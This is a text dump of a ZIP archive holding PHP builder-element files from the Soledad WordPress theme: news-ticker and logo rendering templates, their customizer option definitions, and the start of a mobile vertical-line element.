	$topbar_sort  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_by' );
	$title_length = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_post_titles', 8 );
	$post_type 	  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_post_type', 'post' );

	$args = array(
		'post_type'      => $post_type,
		'posts_per_page' => $number_posts
	);

	if ( 'post' == $args['post_type'] ) {

		if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_cats' ) || penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_filter_by' ) == 'category' ) {
			$list_cat          = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_cats' );
			$list_cat_trim     = str_replace( ' ', '', $list_cat );
			$list_cats         = explode( ',', $list_cat_trim );
			$args['tax_query'] = array(
				array(
					'taxonomy' => 'category',
					'field'    => 'slug',
					'terms'    => $list_cat
				),
			);
		} elseif ( penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_tags' ) && penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_filter_by' ) == 'tags' ) {
			$list_tag          = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_tags' );
			$list_tag_trim     = str_replace( ' ', '', $list_tag );
			$list_tags         = explode( ',', $list_tag_trim );
			$args['tax_query'] = array(
				array(
					'taxonomy' => 'post_tag',
					'field'    => 'slug',
					'terms'    => $list_tags
				),
			);
		}

		if ( $topbar_sort == 'all' ) {
			$args['meta_key'] = penci_get_postviews_key();
			$args['orderby']  = 'meta_value_num';
			$args['order']    = 'DESC';
		} elseif ( $topbar_sort == 'week' ) {
			$args['meta_key'] = 'penci_post_week_views_count';
			$args['orderby']  = 'meta_value_num';
			$args['order']    = 'DESC';
		} elseif ( $topbar_sort == 'month' ) {
			$args['meta_key'] = 'penci_post_month_views_count';
			$args['orderby']  = 'meta_value_num';
			$args['order']    = 'DESC';
		}
	}

	$news = new WP_Query( $args );
	if ( $news->have_posts() ):
		$auto_play = 'true';
		if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_disable_autoplay' ) ): $auto_play = 'false'; endif;
		$auto_time  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_autoplay_timeout' );
		$auto_speed = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_autoplay_speed' );
		$auto_time  = ( is_numeric( $auto_time ) && $auto_time > 0 ) ? $auto_time : '3000';
		$auto_speed = ( is_numeric( $auto_speed ) && $auto_speed > 0 ) ? $auto_speed : '200';
		$animation  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_animation', 'slideInUp' );
		$main_class   = $animation == 'marquee' ? 'no-df pcmarquee-slider' : 'pcdfswiper';
		if ( $animation != 'marquee' ) :
		?>
        <span class="penci-trending-nav">
			<a class="penci-slider-prev" aria-label="Previous"
               href="#"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
			<a class="penci-slider-next" aria-label="Next"
               href="#"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
		</span>
		<?php
		else:
			wp_enqueue_script( 'penci-marquee' );
		endif; ?>
        <div class="<?php echo $main_class; ?> swiper penci-owl-carousel penci-owl-carousel-slider penci-headline-posts"
             data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
             data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
            <div class="swiper-wrapper">
				<?php while ( $news->have_posts() ): $news->the_post();
					$title_full = get_the_title();
					?>
                    <div class="swiper-slide">
                        <a class="penci-topbar-post-title <?php echo esc_attr( $title_classes ); ?>"
                           href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                    </div>
				<?php endwhile;
				wp_reset_postdata(); ?>
            </div>
        </div>
	<?php endif; /* End check if no posts */ ?>
</div>
PK     N\ҎI4  I4  0  inc/builder/elements/pb_news_ticker/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_text',
	'default'  => esc_html__( 'Top Posts', 'soledad' ),
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom "Top Posts" Text', 'soledad' ),
	'desc'     => esc_html__( 'If you want hide Top Posts text, let empty this', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_style',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => __( 'Style for "Top Posts" Text', 'soledad' ),
	'priority' => 10,
	'choices'  => array(
		''                => __('Default Style','soledad' ),
		'nticker-style-2' => __('Style 2','soledad' ),
		'nticker-style-3' => __('Style 3','soledad' ),
		'nticker-style-4' => __('Style 4','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_animation',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => __( '"Top Posts" Transition Animation', 'soledad' ),
	'default'  => '',
	'priority' => 10,
	'choices'  => array(
		''             => __('Slide In Up','soledad' ),
		'slideInRight' => __('Fade In Right','soledad' ),
		'fadeIn'       => __('Fade In','soledad' ),
		'marquee'      => __('Marquee','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_by',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Display Top Posts By', 'soledad' ),
	'choices'  => array_merge(penci_jetpack_option(),array(
		''        => __('Recent Posts','soledad' ),
		'all'     => __('Popular Posts All Time','soledad' ),
		'week'    => __('Popular Posts Once Weekly','soledad' ),
		'month'   => __('Popular Posts Once Month','soledad' ),
	))
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_post_type',
	'default'  => 'post',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Post Types', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => call_user_func( function () {
		$exclude    = array(
			'attachment',
			'revision',
			'nav_menu_item',
			'safecss',
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		);
		$registered = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );
		$types      = array();


		foreach ( $registered as $post ) {

			if ( in_array( $post->name, $exclude ) ) {

				continue;
			}

			$types[ $post->name ] = $post->label;
		}

		return $types;
	} )
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_filter_by',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-radio',
	'label'    => esc_html__( 'Filter Topbar By', 'soledad' ),
	'priority' => 10,
	'choices'  => array(
		'category' => __('Category','soledad' ),
		'tags'     => __('Tags','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_tags',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-textarea',
	'label'       => esc_html__( 'Fill List Tags for Filter by Tags on "Top Post"', 'soledad' ),
	'description' => __('This option just apply when you select "Filter Topbar by" Tags above. And please fill list featured tags slug here, check <a rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3','soledad' ),
	'priority'    => 10,
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_cats',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-textarea',
	'label'       => esc_html__( 'Fill List Categories for Filter by Category on "Top Post"', 'soledad' ),
	'description' => __('This option just apply when you select "Filter Topbar by" Category above. And please fill list featured category slug here, check <a rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple category slug, fill:  cat-1, cat-2, cat-3','soledad' ),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_post_titles',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-size',
	'label'    => esc_html__( 'Words Length for Post Titles on Top Posts', 'soledad' ),
	'ids'      => array(
		'desktop' => 'penci_header_pb_news_ticker_post_titles',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_disable_autoplay',
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_html__( 'Disable Auto Play', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_autoplay_timeout',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-size',
	'description' => '1000 = 1 second',
	'label'       => esc_html__( 'Autoplay Timeout', 'soledad' ),
	'priority'    => 10,
	'ids'         => array(
		'desktop' => 'penci_header_pb_news_ticker_autoplay_timeout',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_autoplay_speed',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-size',
	'description' => '1000 = 1 second',
	'label'       => esc_html__( 'Autoplay Speed', 'soledad' ),
	'ids'         => array(
		'desktop' => 'penci_header_pb_news_ticker_autoplay_speed',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_total_posts',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-size',
	'label'    => esc_html__( 'Amount of Posts Display on Top Posts', 'soledad' ),
	'ids'      => array(
		'desktop' => 'penci_header_pb_news_ticker_total_posts',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_width',
	'default'   => '420',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Ticker Text', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_width',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_disable_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Disable Uppercase for "Top Posts" text', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_post_titles_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => esc_html__( 'Turn Off Uppercase Post Titles', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for "Top Posts" Text','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __('Background Color for "Top Posts Text"','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_bg_style3',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Right Arrow on Style 3','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Post Titles','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hover Color for Post Titles','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_arr_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Next/Prev Buttons','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_arr_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hover Color for Next/Prev Buttons','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Text Font','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_fs',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Post Titles', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_fs',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_fw',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Post Titles','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_arr_fs',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Next/Prev Buttons', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_arr_fs',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_fs',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for "Top Posts" Text', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_headline_fs',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\0S^  ^  *  inc/builder/elements/pb_logo/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan  = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class   = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo pc-logo-desktop penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo;?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pc-logo-desktop penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title ) || is_customize_preview() ): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) || is_customize_preview() ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     N\[~U"  "  )  inc/builder/elements/pb_logo/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_logo_logo_display',
	'default'         => 'image',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-radio',
	'label'           => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'        => 10,
	'choices'         => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_image_setting_url',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-image',
	'label'           => esc_html__( 'Logo Image', 'soledad' ),
	'description'     => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_size_logo_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_size_logo_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_size_logo_h',
	'default'   => '60',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_size_logo_h',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',

	'label'    => __( 'Custom Logo Link', 'soledad' ),
	'priority' => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_site_title',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',

	'label'           => esc_html__( 'Text Logo', 'soledad' ),
	'default'         => get_bloginfo( 'blogname' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_site_description',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'Slogan', 'soledad' ),
	'default'         => get_bloginfo( 'description' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_description' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_font_size_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_font_size_logo',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_color_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_for_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Text Logo','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Text Logo','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'        => 'penci_header_pb_logo_font_size_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Slogan', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_font_size_slogan',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Slogan Text','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_for_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font for Slogan Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal'  => 'Normal',
		'bold'    => 'Bold',
		'bolder'  => 'Bolder',
		'lighter' => 'Lighter',
		'100'     => '100',
		'200'     => '200',
		'300'     => '300',
		'400'     => '400',
		'500'     => '500',
		'600'     => '600',
		'700'     => '700',
		'800'     => '800',
		'900'     => '900'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_logoclass',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\ܦJ    <  inc/builder/elements/pb_vertical_line_mobile_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line5_width  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_width' );
$line5_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_height' );
$line5_color  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_color' );
$line5_class  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_class' );
$data_attr    = [];
if ( ! empty( $line5_width ) ) {
	$data_attr[] = 'width:' . $line5_width . 'px;';
}
if ( ! empty( $line5_height ) ) {
	$data_attr[] = 'width:' . $line5_height . 'px;';
}
if ( ! empty( $line5_color ) ) {
	$data_attr[] = 'background-color:' . $line5_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-mobile-2 <?php echo esc_attr( $line5_class ); ?>"></div>
PK     N\r\  \  ;  inc/builder/elements/pb_vertical_line_mobile_2/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
